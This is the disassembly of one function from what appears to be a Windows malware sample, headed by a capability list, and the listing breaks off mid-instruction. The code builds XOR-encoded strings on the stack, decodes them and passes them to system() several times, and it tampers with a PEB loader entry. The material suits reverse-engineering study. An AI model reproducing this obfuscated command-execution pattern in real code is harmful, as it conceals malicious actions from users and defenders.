Function at 0x140003750
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get kernel32 base address
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x6d0
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140093080]
xor rax, rsp
mov qword [rbp + 0x680], rax
xor r12d, r12d
movabs rsi, 0x874f807016db1d1
movabs rdi, 0x6cbb80a46dc08070
movabs r14, 0xe66c13027403ee3e
movabs r15, 0xa2e0071142df3e63
movabs r13, 0x2813966e7504d086
movabs r8, 0xe66c13027403a60f
movabs rbx, 0x539bb4862c1eab42
movabs rdx, 0x3345a31c4b5feaca
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.140011760
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
call fcn.140003630
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x7c0090276d1fc4b2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x8a05752d5b399d4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xcd89296531b04e06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x9d6e1c11fb4f35f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0xaeeec91026512ad7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x36ad8ce2152c9226
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x9f00d7423419c92
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xe8a2a7dc08644b17
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0xd616931b30bdd58b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x981b81b2ea1b00fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x8027b2fdff6eabdb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0x8b916cc9a7d02e3b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0xab426191614590d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x292a6be3ea6b010f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x310b130d1665dacd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x5358d7e9e97373fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x6f6a45062c381c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xc9f3c846b1e7ce7f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xf9ac7c644b28ec00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xd17f290cc58c8f59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x27688cf3c49b9ce1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0x659ada57893117a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x5501d50ad93aebff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0xbeed06ad7d4f2754
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0xc5a1f227149ee987
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x771a6a603d784d0f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0xf2b10f7b41aa59b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x877e2a1ee3d8a223
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0x21d9d4bca824464f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xd299052d0f9ae0e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xbbcb7488f065a421
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x439d7615d89ba7a4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0xde13295432712f32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x6c6cb986d39e0b0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x68d2fe88088de768
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xb405a34ff28a2b60
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x15292c15f155bb89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xae84348c408fa097
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xa6f4dd07b505c040
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x1a4f995acbd4d34c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x3802e16e4e2f833d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xfca0e8aca2050882
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xf04232bd90093f38
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x5a599065160f2c36
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x632868458798eb3f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x152e6a30016eeb3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0x4bbb68a834848d3c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x9b631052e78fa7b6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0xa3817ca453c57db1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xea330432b9f2c42a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x5c13bd4e83f2d2c4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xcee0bf46cd10e353
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x173a776ae51cf989
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x6f3ff5fa24a57417
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x15273e41c2b94909
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0xf45207a4bad05289
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rcx, 0xb2b0913f6963e8e9
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rdx, 0x8c1e631ab17cc9f6
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
movabs rax, 0x9380ac7b492515a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movabs rax, 0x39c26c151b20faf7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
movabs rax, 0xd99492b83f022874
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
movabs rax, 0xb727ab2f56dcb3b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
movabs rax, 0xae7ab28a897966c6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
movabs rax, 0xe3418799c85a9beb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
movabs rax, 0xeea209ac93b31958
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
movabs rax, 0xcd7256a30077a4ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x414b3caea328362a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
movabs rax, 0x7e447d7d4329b7bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
movabs rax, 0x213fad80dc1511bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x390e34374d6268e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x98b2f032f6909b4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movabs rax, 0xbeea4e41031b8573
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
movabs rax, 0xe73d1954aab4e800
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x7200baab82a9d7b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rax, 0x30de8e36d15053d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0x3c4bb045b8038787
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
movabs rax, 0x8bdb6fe825214904
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movabs rax, 0xf2e7b65f7aaca2c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
movabs rax, 0x1171203a523e3756
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
movabs rax, 0xc0846149119f3efb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
movabs rax, 0xa2261b5cd1fd9068
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
movabs rax, 0x46b6bad3cd4e047d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rax, 0x9ce0755e69f6aeba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs rax, 0x8a8946ada71de24f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
movabs rax, 0x15df4430b2dcc3cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movabs rax, 0xeb55116748165e71
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0x2816dce283aa425e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0x21e0bbf15ac19703
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
movabs rax, 0xc47ff304a1e05d10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
movabs rax, 0x5e70565b8123d1c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs rax, 0xe8b611e635bff8e2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0xee928d75c7368f17
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rax, 0x7f3dd218f9f1b214
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
movabs rax, 0x69b40f0c1da659
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rax, 0xd9d785ea902049e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0xc66f1ff9a32c7b0b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
movabs rax, 0x7f68f50c477b6478
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x3a191d03b5bdad0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0x7330888e2d7286ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movabs rax, 0x3cd023dd72cfe85f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
movabs rax, 0xc8262160aecdeddc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movabs rax, 0x90a4389776b23281
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xb6094712d6dfe46e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x60ca21e79cbb93
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
movabs rax, 0xb794d634b8738620
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
movabs rax, 0x645b150b917d9dd5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
movabs rax, 0xe56949645c82872
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
movabs rax, 0x354b5225ecda2a27
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
movabs rax, 0x803c62c8d3a37fa4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5a0]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x5c0]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x5e0]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqa xmm0, xmmword [rbp + 0x260]
vxorps xmm0, xmm0, xmmword [rbp + 0x620]
vmovdqa xmmword [rbp + 0x260], xmm0
lea rcx, [rbp + 0xa0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x7c0090276d1fc4b2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x8808702d5b399d4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0xc692687231b65a4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0x43d6efc743b0f011
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0xf6edc418285161c4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x60ab86b7036ddf2c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xcfb5b222a18cbc3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xf6adaa8a0f331140
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
movabs rax, 0x8311991b65ec8188
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
movabs rax, 0x984e8abcba4c50f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0xcd2be9f0e76ca3d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0xad826681b3d6613d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0xba1d32cd6920f8d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
movabs rax, 0x283949cdc65b6a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x1c25091c2775cecb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
movabs rax, 0xf55c3e9807062dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
movabs rax, 0x507d191a6d071084
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0x98b2f03282fefe22
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0x9380ac7b492515a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x39c26c151b20faf7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0xd99492b83f022874
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
movabs rax, 0xb727ab2f56dcb3b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs rax, 0xae7ab28a897966c6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
movabs rax, 0xe3418799c85a9beb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
movabs rax, 0xeea209ac93b31958
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
movabs rax, 0xcd7256a30077a4ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rax, 0x414b3caea328362a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs rax, 0x7e447d7d4329b7bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rax, 0x213fad80dc1511bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs rax, 0x390e34374d6268e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs rax, 0x98b2f032f6909b4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x280], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x2a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x2c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0x2e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x300]
vxorps xmm0, xmm0, xmmword [rbp + 0x440]
vmovdqa xmmword [rbp + 0x300], xmm0
lea rcx, [rbp + 0x280]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x6123a43d424dd5b2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x831f4f71036c8a50
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xc6bc7e652bad4b00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x6cdef3c50fa1f411
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x640]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 8], 0xb3a3bd95
mov dword [rbp + 0xc], 0xa2bcf69a
mov word [rbp + 0x10], 0xbe
mov byte [rbp + 0x12], 1
mov rax, r12
nop word [rax + rax]
lea ecx, [rax - 0x2d]
xor byte [rbp + rax + 8], cl
inc rax
cmp rax, 9
jb 0x1400049b0
mov byte [rbp + 0x12], 0
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x11]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.140011970
nop
lea rcx, [rbp + 0x60]
call fcn.140002770
mov rbx, rax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140004a21
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004afd
call fcn.140075204
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
test rbx, rbx
jne 0x140004b04
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xab09656b32238851
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xa2e0071142f1104d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
vmovdqu ymm0, ymmword [rbp + 0x660]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.1400022a0
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400037be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0x2813966e650cde9d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0xb03e5651545ba868
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0xa2ce293f629a7d2a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
lea rcx, [rbp + 0x320]
vzeroupper
call fcn.1400022a0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x6c118c646407df98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xe66c13027403ee1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.1400024f0
movabs rax, 0x6710966e56318b92
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0x94197067075f9d49
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0xc39466751ea64a0a
